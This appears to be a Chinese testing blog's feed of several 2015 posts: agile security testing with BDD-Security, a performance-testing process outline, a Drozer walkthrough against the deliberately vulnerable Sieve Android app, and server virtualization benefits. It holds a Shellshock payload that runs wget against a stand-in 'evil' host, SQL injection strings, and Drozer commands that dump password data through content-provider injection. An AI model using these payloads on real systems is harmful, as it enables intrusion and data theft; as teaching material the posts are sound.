传统的安全测试都遵循瀑布流程，也就是说安全团队总是在开发阶段的末期才参与进来，并且通常需要外部专家的帮助。在整个开发流程中，渗透测试总是被安排到很晚才做，使得为应用做安全防范的任务尤其困难且复杂。Stephen认为安全测试完全可以变得像QA一样：每个人都对安全问题负责；安全问题可以在更接近代码的层面考虑；安全测试完全可以嵌入一个持续集成的开发过程中。

　　为了论证QA和安全测试只有量的区别而没有质的区别，Stephen展示了C. Maartmann-Moe和Bill Sempf分别发布的推特：

　　从QA的角度：

　　QA工程师走进一家酒吧，点了一杯啤酒；点了0杯啤酒；点了999999999杯啤酒；点了一只蜥蜴；点了-1杯啤酒；点了一个sfdeljknesv。

　　从安全的角度：

　　渗透测试工程师走进一家酒吧，点了一杯啤酒；点了”>杯啤酒；点了’or 1=1-杯啤酒；点了() { :; }; wget -O /beers http://evil; /杯啤酒。　　要将安全测试集成进敏捷开发流程中，首先需要满足的条件是：可见性，以便采取及时应对措施并修补；可测试性，以便于自动化，比仅仅简单的扫描更有价值。Stephen发现BDD工具族就同时满足了可见性及可测试性，因此他开始着手构建BDD-Security安全测试框架。

　　由于BDD-Security是基于JBehave构建的，因此它使用BDD的标准说明语言Gherkin。一个BDD-Security测试场景如下：

　　Scenario: Transmit authentication credentials over HTTPS

　　Meta: @id auth_https

　　Given the browser is configured to use an intercepting proxy

　　And the proxy logs are cleared

　　And the default user logs in with credentials from: users.table

　　And the HTTP request-response containing the default credentials is inspected

　　Then the protocol should be HTTPS

　　BDD-Security用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着：

　　本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立，这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中，有时甚至无需修改。

　　这也说明BDD-Security框架认为对许多应用来说，有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用——也就是导航逻辑中即可。当然，必要的时候你也完全可以编写自己的用户故事。

　　BDD-Security依赖于第三方安全测试工具来执行具体的安全相关的行为，例如应用扫描。这些工具有OWASP ZAP或Nessus等。

　　Stephen还提到其它一些有类似功能的工具。如Zap-WebDriver就是一款更简单的工具，不喜欢BDD方式的人可以考虑采用它。Gauntlt与BDD-Security框架类似，同样支持BDD，只是它使用的编程语言是Ruby。Mittn用Python编写并且同样也使用Gherkin。

顺其自然EVO 2015-03-18 22:10 发表评论

　　性能测试一般会围绕以下这些问题而进行：

　　1. 什么情况下需要做性能测试？

　　2. 什么时候做性能测试？

　　3. 做性能测试需要准备哪些内容？

　　4. 什么样的性能指标是符合要求的？

　　5. 性能测试需要收集的数据有哪些？

　　6. 怎样收集这些数据？

　　7. 如何分析收集到的数据？

　　8. 如何给出性能测试报告？

　　性能测试的执行过程及要做的事儿主要包含以下内容：

　　1. 测试评估阶段

　　在这个阶段，我们要评估被测的产品是否要进行性能测试，并且对目前的服务器环境进行粗估，服务的性能是否满足条件。

　　首先要明确只要涉及到准备上线的服务端产品，就需要进行性能测试。其次如果产品需求中明确提到了性能指标，那也必须要做性能测试。

　　测试人员在进行性能测试前，需要根据当前的收集到的各种信息，预先做性能的评估，收集的内容主要包括带宽、请求包大小、并发用户数和当前web服务的带宽等

　　2. 测试准备阶段

　　在这个阶段，我们要了解以下内容：

　　a. 服务器的架构是什么样的，例如：web服务器是什么？是如何配置的？数据库用的是什么？服务用的是什么语言编写的？；

　　b. 服务端功能的内部逻辑实现；

　　c. 服务端与数据库是如何交互的，例如：数据库的表结构是什么样的？服务端功能是怎样操作数据库的？

　　d. 服务端与客户端之间是如何进行交互的，即接口定义；

　　通过收集以上信息，测试人员整理出服务器端各模块之间的交互图，客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流程图。

　　e. 该服务上线后的用户量预估是多少，如果无法评估出用户量，那么可以通过设计测试执行的场景得出这个值；

　　f. 上线要部署到多少台机器上，每台机器的负载均衡是如何设计的，每台机器的配置什么样的，网络环境是什么样的。

　　g. 了解测试环境与线上环境的不同，例如网络环境、硬件配置等

　　h. 制定测试执行的策略，是需要验证需求中的指标能否达到，还是评估系统的最大处理能力。

　　i. 沟通上线的指标

　　通过收集以上信息，确定性能测试用例该如何设计，如何设计性能测试用例执行的场景，以及上线指标的评估。

　　3. 测试设计阶段

　　根据测试人员通过之前整理的交互图和流程图，设计相应的性能测试用例。性能测试用例主要分为预期目标用户测试，用户并发测试，疲劳强度与大数量测试，网络性能测试，服务器性能测试，具体编写的测试用例要更具实际情况进行裁减。

　　用例编写的步骤大致分为：

　　a. 通过脚本模拟单一用户是如何使用这个web服务的。这里模拟的可以是用户使用web服务的某一个动作或某几个动作，某一个功能或几个功能，也可以是使用web服务的整个过程。

　　b. 根据客户端的实际情况和服务器端的策略，通过将脚本中可变的数据进行参数化，来模拟多个用户的操作。

　　c. 验证参数化后脚本功能的正确性。

　　d. 添加检查点

　　e. 设计脚本执行的策略，如每个功能的执行次数，各个功能的执行顺序等

　　4. 测试执行阶段

顺其自然EVO 2015-03-18 22:08 发表评论

　　1. 安装

　　第一步：从http://mwr.to/drozer下载Drozer (Windows Installer)

　　第二步：在Android设备中安装agent.apk

　　adb install agent.apk

　　2. 启动

　　第一步：在PC上使用adb进行端口转发，转发到Drozer使用的端口31415

　　adb forward tcp:31415 tcp:31415

　　第二步：在Android设备上开启Drozer Agent

　　选择embedded server-enable

　　第三步：在PC上开启Drozer console

　　drozer console connect

　　二、测试步骤

　　1.获取包名

　　dz> run app.package.list -f sieve

　　com.mwr.example.sieve

　　2.获取应用的基本信息

　　run app.package.info -a com.mwr.example.sieve

　　3.确定攻击面

　　run app.package.attacksurface com.mwr.example.sieve

　　（1）获取activity信息

　　run app.activity.info -a com.mwr.example.sieve

　　（2）启动activity

　　run app.activity.start --component com.mwr.example.sieve

　　dz> help app.activity.start

　　usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]

　　[--component PACKAGE COMPONENT] [--data-uri DATA_URI]

　　[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]

　　[--mimetype MIMETYPE]

　　5.Content Provider

　　（1）获取Content Provider信息

　　run app.provider.info -a com.mwr.example.sieve

　　（2）Content Providers（数据泄露）

　　先获取所有可以访问的Uri：

　　run scanner.provider.finduris -a com.mwr.example.sieve

　　获取各个Uri的数据：

　　run app.provider.query

　　content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

　　查询到数据说明存在漏洞

　　（3）Content Providers（SQL注入）

　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

　　报错则说明存在SQL注入。

　　列出所有表：

　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

　　获取某个表（如Key）中的数据：

　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

　　（4）同时检测SQL注入和目录遍历

　　run scanner.provider.injection -a com.mwr.example.sieve

　　run scanner.provider.traversal -a com.mwr.example.sieve

顺其自然EVO 2015-03-18 22:06 发表评论

　　集成整合功能。虚拟化服务器主要是由物理服务器和虚拟化程序构成的，通过把一台物理服务器划分为多个虚拟机，或者把若干个分散的物理服务器虚拟为一个整体逻辑服务器，从而将多个操作系统和应用服务整合到强大的虚拟化架构上。

　　动态迁移功能。这里所说的动态迁移主要是指V2V(虚拟机到虚拟机的迁移)技术。具体来讲，当某一个服务器因故障停机时，其承载的虚拟机可以自动切换到另一台虚拟服务器，而在整个过程中应用服务不会中断，实现系统零宕机在线迁移。

　　资源分配功能。虚拟化架构技术中引入了动态资源调度技术，系统将所有虚拟服务器作为一个整体资源统一进行管理，并按实际需求自动进行动态资源调配，在保证系统稳定运行的前提下，实现资源利用最大化。

　　强大的管理控制界面。通过可视化界面实时监控物理服务器以及各虚拟机的运行情况，实现对全部虚拟资源的管理、维护及部署等操作。

　　服务器虚拟化的益处

　　采用服务器虚拟化技术的益处主要表现在以下几个方面。

　　节省采购费用。通过虚拟化技术对应用服务器进行整合，可以大幅缩减企业在采购环节的开支，在硬件环节可以为企业节省34%～80%的采购成本。

　　同时，还可以节省软件采购费用。软件许可成本是企业不可忽视的重要支出。而随着微软、红帽等软件巨头的加入，虚拟化架构技术在软件成本上的优势也逐渐得以体现。

　　降低系统运行维护成本。由于虚拟化在整合服务器的同时采用了更为出色的管理工具，减少了管理维护人员在网络、线路、软硬件维护方面的工作量，信息部门得以从传统的维护管理工作中解放出来，将更多的时间和精力用于推动创新工作和业务增长等活动，这也为企业带来了利益。